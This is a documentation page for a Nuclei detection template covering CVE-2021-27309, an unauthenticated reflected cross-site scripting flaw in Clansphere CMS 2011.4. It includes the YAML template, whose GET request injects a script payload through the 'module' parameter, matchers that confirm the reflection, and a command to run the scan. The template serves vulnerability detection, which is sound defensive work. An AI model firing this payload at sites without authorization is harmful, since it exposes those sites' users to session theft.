Skip to content
Nuclei Templates

Clansphere CMS 2011.4 - Cross-Site Scripting

ID: CVE-2021-27309

Severity: medium

Author: edoardottt

Tags: cve2021,cve,clansphere,xss,cms,unauth,csphere

Description

Section titled “Description”

Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the “module” parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-27309


info:
  name: Clansphere CMS 2011.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the  "module" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
  reference:
    - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27309
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27309
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43249
    cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: csphere
    product: clansphere
  tags: cve2021,cve,clansphere,xss,cms,unauth,csphere


http:
  - method: GET
    path:
      - "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>.php'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a004730450221008af07f82ab34748f3f29221594cba2f52471c565d0af735a0d701062a559ef4b022021340178054dc3ef98e28e27522dd6b852890666e8a85fcf860027eebe1d17ef:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27309.yaml"

View on Github